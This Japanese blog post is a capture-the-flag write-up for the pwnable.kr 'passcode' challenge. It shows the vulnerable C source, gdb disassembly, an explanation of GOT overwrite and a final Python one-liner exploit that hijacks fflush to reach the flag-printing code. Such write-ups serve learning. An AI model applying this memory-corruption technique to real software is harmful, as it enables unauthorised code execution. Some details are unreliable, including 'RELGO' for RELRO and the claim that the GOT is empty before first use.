気まぐれブログ(日記・技術記事・研究のことなど)

気まぐれに更新します.温かい目で見ていただければ...

pwnable.kr writeup "passcode"

今回は, http://pwnable.kr/play.phpの"passcode"のwriteupを書いていこうと思います.

この問題はわからなかったので, 他の方のwriteupを参考にさせていただきました. このレベルの問題を自力で解けるようにがんばりたいです...

問題

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

解説

表層解析

fileコマンドを実行してみると, こんな感じになりました.

$ file passcode
passcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d2b7bd64f70e46b1b0eb7036b35b24a651c3666b, not stripped

32ビットの実行可能ファイルで, シンボル情報は削除されていない. また動的リンクを使用していることがわかります.

また, RELGO情報についても見ていきましょう.

$ checksec.sh --dir .
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./passcode

Partial RELGOなので, GOT-Overwriteが可能であることがわかります.

続いて, 実際にファイルを実行してみましょう.

動的解析

$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : 1234567
Welcome 1234567!
enter passcode1 : 1234567
Segmentation fault (コアダンプ)

むむ, セグメントエラーが発生してしまう.

この問題にはc言語のファイルも配布されているので, その中身を見てみましょう.

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

なにかおかしい部分がありますね.

そうです, scanf関数にアドレスが渡されておらず, passcode1がそのまま渡されているのです. よってscanf関数によって, passcode1の値に, 入力された数値が入るわけです.

本来ならば,

scanf("%d", &passcode1);

とならなければいけませんね(passcode2も同様).

今回は, scanfにint型変数がそのまま渡されているところに脆弱性が存在するのです.


またCプログラムをよく見ると, system関数でflagを出力する行が発見できると思います. 普通にコードを実行する限り, そのflagを出力する行にたどり着くことは不可能なので, 何らかの形でその行にJumpさせる必要があることがわかると思います.

静的解析

さらにアセンブリコードを覗いてみましょう.

$ gdb -q passcode
Reading symbols from passcode...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048665 <+0>:	push   ebp
   0x08048666 <+1>:	mov    ebp,esp
   0x08048668 <+3>:	and    esp,0xfffffff0
   0x0804866b <+6>:	sub    esp,0x10
   0x0804866e <+9>:	mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>:	call   0x8048450 <puts@plt>
   0x0804867a <+21>:	call   0x8048609 <welcome>
   0x0804867f <+26>:	call   0x8048564 <login>
   0x08048684 <+31>:	mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>:	call   0x8048450 <puts@plt>
   0x08048690 <+43>:	mov    eax,0x0
   0x08048695 <+48>:	leave  
   0x08048696 <+49>:	ret    
End of assembler dump.
gdb-peda$ disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    eax,0x80487dd
   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70]
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.
gdb-peda$ disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
---Type <return> to continue, or q <return> to quit---
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

まず, welcome内のアセンブリコードを見てみましょう.

注目すべきは, 以下のコードです.

   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>

scanf関数を実行する前には, 事前にスタックに引数を積まないといけません(32ビット実行ファイルのとき). 上のコードは, 引数をスタックに積んでいる部分です. C言語における変数nameは, edxに入れられます. したがって, nameは[ebp-0x70]に存在することがわかります.

続いて, login内のアセンブリコードを見てみましょう.

   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>

ここも同様に, C言語における変数passcode1は[ebp-0x10]に存在することがわかります.

ちなみに余談ですが, mov命令とlea命令の違いだけまとめておきます.

「mov A B」と「lea A B」はどちらもBをAに代入していることを指します.
ただし, Bがアドレスである場合(ようは[register]の形である場合), 「mov A B」ではBのアドレスに入っている値がAに代入され, 「lea A B」ではBのアドレス自体がAに代入されます.

さて話を戻しますが,
nameとpasscode1は, 0x70 - 0x10 = 0x60 = 96バイトの差があります. nameは100バイトまで代入できるので, nameの最後の4バイトはpasscode1に代入されることになります.

つまり, passcode1には自由な値を代入することが可能なのです!!


さらに, scanf関数の後にfflush関数を使用しているので, GOT-Overwriteを使用して任意のアドレスに実行制御を移すことが可能なのです.

GOT-Overwriteの仕組み.

ここでGOT-overwriteの仕組みについて詳しく説明しておきます.

まずは, 動的リンクにおいて関数を使用する手順を紹介します.

f:id:tomonori4565:20181129002019p:plain

このように, まずPLTにアクセスして, GOTを参照することにより関数のアドレスを取得します.

ただし, 初めてGOTを参照する場合は, GOTアドレスには何も値が書き込まれていません.
f:id:tomonori4565:20181129002023p:plain

従って, 初めて関数を実行する前にGOTアドレスに偽の値を代入しておくことで, 別の関数に飛ばしたり, 任意の実行位置に制御を移すことが可能となります.

f:id:tomonori4565:20181129002027p:plain
f:id:tomonori4565:20181129002031p:plain


この問題の解法

これまでの情報により,

(1)Pertial RELGOより, GOT-Overwriteが可能.
(2)scanf関数にpasscode1がそのまま渡されている.
(3)passcode1には任意の値を代入可能.
(4)scanf直後に, 初めて使用するfflush関数が存在する.

ということがわかるので, passcode1にfflush関数のGOTアドレスを代入し, fflush関数でflagを出力するコードに実行制御を移すという解法が浮かび上がります.

解答

まず96バイトはなんか適当な文字を打っておき, 残りの4バイト(passcode1の値になる)でfflushのGOTアドレスを打ち込みます. その後, scanfで入力する数字を付け足します. passcode1の値のアドレスには, 移動させたいアドレスの数値(0x080485e3 = 134514147)を代入したいので, 134514147を付け足します.

$ python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode

これでOKですね.